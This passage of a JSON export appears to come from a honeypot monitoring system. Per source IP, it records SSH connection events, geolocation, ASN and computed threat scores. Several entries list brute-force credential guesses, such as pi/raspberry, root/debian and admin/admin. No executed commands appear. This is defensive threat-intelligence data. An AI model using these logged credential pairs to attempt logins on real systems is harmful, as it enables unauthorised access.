      "last_seen": "2026-03-27T23:17:59.814Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chengdu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T23:17:54.177000+00:00",
        "last_seen_30d": "2026-03-27T23:19:37.080000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "5.189.129.10": {
      "attack_count": 10,
      "first_seen": "2026-03-26T19:09:11.749Z",
      "last_seen": "2026-03-27T02:22:04.064Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "987654321",
        "jqk"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:09:11.749000+00:00",
        "last_seen_30d": "2026-03-27T02:23:11.246000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "91.23.77.55": {
      "attack_count": 10,
      "first_seen": "2026-03-18T01:16:23.547Z",
      "last_seen": "2026-03-18T01:16:27.458Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Achim",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T01:16:23.547000+00:00",
        "last_seen_30d": "2026-03-18T01:17:32.272000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "112.255.105.170": {
      "attack_count": 8,
      "first_seen": "2026-03-21T18:32:37.494Z",
      "last_seen": "2026-03-21T18:33:28.996Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T18:32:37.494000+00:00",
        "last_seen_30d": "2026-03-21T18:34:35.543000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "162.220.14.78": {
      "attack_count": 8,
      "first_seen": "2026-03-15T19:23:31.099Z",
      "last_seen": "2026-03-15T19:23:54.978Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 26666,
      "as_org": "Interserver, Inc",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:23:31.099000+00:00",
        "last_seen_30d": "2026-03-15T19:24:58.285000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "185.220.101.38": {
      "attack_count": 8,
      "first_seen": "2026-03-04T18:48:00.307Z",
      "last_seen": "2026-03-04T18:48:21.867Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 3.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 4,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T16:51:24.930000+00:00",
        "last_seen_30d": "2026-03-07T06:09:09.768000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 6,
        "Honeytrap": 6,
        "H0neytr4p": 5
      }
    },
    "20.127.157.56": {
      "attack_count": 7,
      "first_seen": "2026-03-19T19:41:26.786Z",
      "last_seen": "2026-03-19T19:41:36.787Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.1,
        "persistence": 20.0,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 24,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T07:44:24.406000+00:00",
        "last_seen_30d": "2026-03-25T06:25:07.640000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 7,
        "Honeytrap": 7
      }
    },
    "198.235.24.213": {
      "attack_count": 6,
      "first_seen": "2026-03-22T23:24:03.127Z",
      "last_seen": "2026-03-24T16:26:55.024Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 29,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:45:08+00:00",
        "last_seen_30d": "2026-03-30T23:10:36.988000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 39,
        "Miniprint": 9,
        "Cowrie": 6,
        "Dionaea": 3,
        "ConPot": 1,
        "Dicompot": 1
      }
    },
    "206.168.34.112": {
      "attack_count": 6,
      "first_seen": "2026-03-23T00:32:33.040Z",
      "last_seen": "2026-03-23T00:33:09.395Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 166,
        "days_active_30d": 22,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T03:21:56+00:00",
        "last_seen_30d": "2026-03-23T15:23:50.858000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 53,
        "ElasticPot": 7,
        "Cowrie": 6,
        "Tanner": 3,
        "Dionaea": 1
      }
    },
    "66.132.153.112": {
      "attack_count": 6,
      "first_seen": "2026-03-14T19:36:42.792Z",
      "last_seen": "2026-03-14T19:37:25.547Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 49.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.2,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 17,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T03:05:50.102000+00:00",
        "last_seen_30d": "2026-03-20T14:13:28.478000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 20,
        "Cowrie": 6,
        "Dionaea": 2,
        "ConPot": 1,
        "Sentrypeer": 1
      }
    },
    "66.132.153.138": {
      "attack_count": 6,
      "first_seen": "2026-03-19T19:34:49.787Z",
      "last_seen": "2026-03-19T19:35:26.864Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 21,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T19:23:41.919000+00:00",
        "last_seen_30d": "2026-03-22T16:08:41.236000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 26,
        "ElasticPot": 10,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "172.94.9.64": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:09:52.846Z",
      "last_seen": "2026-03-06T01:09:55.219Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech2024!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:06:37.308000+00:00",
        "last_seen_30d": "2026-03-06T01:10:59.118000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "185.93.89.46": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:59:42.915Z",
      "last_seen": "2026-03-05T22:59:45.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "!1Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:07:04.560000+00:00",
        "last_seen_30d": "2026-03-05T23:00:48.120000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "104.152.52.218": {
      "attack_count": 4,
      "first_seen": "2026-03-02T05:30:13.126Z",
      "last_seen": "2026-03-02T05:30:13.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:30:13.126000+00:00",
        "last_seen_30d": "2026-03-09T06:57:26.633000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Tanner": 2
      }
    },
    "167.94.138.50": {
      "attack_count": 4,
      "first_seen": "2026-03-11T08:32:55.345Z",
      "last_seen": "2026-03-11T08:33:11.406Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 62.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.2,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 22,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T03:28:33+00:00",
        "last_seen_30d": "2026-03-23T14:45:20.447000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 35,
        "ConPot": 6,
        "Cowrie": 4,
        "Dionaea": 3,
        "Honeyaml": 3,
        "Dicompot": 1
      }
    },
    "2.57.122.189": {
      "attack_count": 4,
      "first_seen": "2026-03-28T22:03:52.201Z",
      "last_seen": "2026-03-28T22:03:53.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T22:03:52.201000+00:00",
        "last_seen_30d": "2026-03-28T22:04:59.175000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "212.41.44.13": {
      "attack_count": 4,
      "first_seen": "2026-03-08T01:36:36.478Z",
      "last_seen": "2026-03-20T16:23:34.012Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 42132,
      "as_org": "Digit One LLC",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:36:36.478000+00:00",
        "last_seen_30d": "2026-03-20T16:24:41.604000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "44.220.188.142": {
      "attack_count": 4,
      "first_seen": "2026-03-20T17:57:03.965Z",
      "last_seen": "2026-03-20T17:57:05.819Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T17:57:03.965000+00:00",
        "last_seen_30d": "2026-03-20T17:58:08.169000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "8.222.188.255": {
      "attack_count": 4,
      "first_seen": "2026-03-11T09:57:52.327Z",
      "last_seen": "2026-03-18T05:19:27.058Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T09:57:52.327000+00:00",
        "last_seen_30d": "2026-03-18T05:20:31.973000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "42.193.123.116": {
      "attack_count": 3,
      "first_seen": "2026-03-24T13:07:05.301Z",
      "last_seen": "2026-03-24T13:08:20.483Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T13:07:05.301000+00:00",
        "last_seen_30d": "2026-03-24T13:09:25.924000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "65.49.20.69": {
      "attack_count": 3,
      "first_seen": "2026-03-09T10:47:16.265Z",
      "last_seen": "2026-03-09T10:47:16.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 427,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T06:07:11+00:00",
        "last_seen_30d": "2026-03-31T11:16:22.620000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 234,
        "Honeytrap": 148,
        "Redishoneypot": 11,
        "Miniprint": 8,
        "ConPot": 6,
        "Dionaea": 6,
        "Mailoney": 6,
        "Cowrie": 3,
        "ElasticPot": 3,
        "Adbhoney": 2
      }
    },
    "103.208.181.67": {
      "attack_count": 2,
      "first_seen": "2026-03-16T03:31:08.462Z",
      "last_seen": "2026-03-16T03:31:21.874Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 135076,
      "as_org": "INFOCOM LIMITED",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:31:08.462000+00:00",
        "last_seen_30d": "2026-03-16T03:32:25.486000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.205": {
      "attack_count": 2,
      "first_seen": "2026-03-02T15:18:11.949Z",
      "last_seen": "2026-03-02T15:18:12.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 24.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 29,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T15:18:11.949000+00:00",
        "last_seen_30d": "2026-03-30T06:47:30.674000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Dionaea": 4,
        "Cowrie": 2
      }
    },
    "105.224.59.192": {
      "attack_count": 2,
      "first_seen": "2026-03-02T20:23:18.847Z",
      "last_seen": "2026-03-02T20:23:32.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Pretoria",
      "asn": 37457,
      "as_org": "Telkom-Internet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:23:18.847000+00:00",
        "last_seen_30d": "2026-03-02T20:24:38.701000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.57.121.243": {
      "attack_count": 2,
      "first_seen": "2026-03-27T09:26:14.088Z",
      "last_seen": "2026-03-27T09:26:27.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 17813,
      "as_org": "Mahanagar Telephone Nigam Limited",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T09:26:14.088000+00:00",
        "last_seen_30d": "2026-03-27T09:27:32.498000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.66.236.9": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:36:33.422Z",
      "last_seen": "2026-03-28T01:37:04.127Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namdong-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T01:36:33.422000+00:00",
        "last_seen_30d": "2026-03-28T01:38:10.550000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "152.37.215.175": {
      "attack_count": 2,
      "first_seen": "2026-03-27T18:30:19.776Z",
      "last_seen": "2026-03-27T18:30:33.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Meridian",
      "asn": 11492,
      "as_org": "CABLE ONE, INC.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T18:30:19.776000+00:00",
        "last_seen_30d": "2026-03-27T18:31:43.228000+00:00",
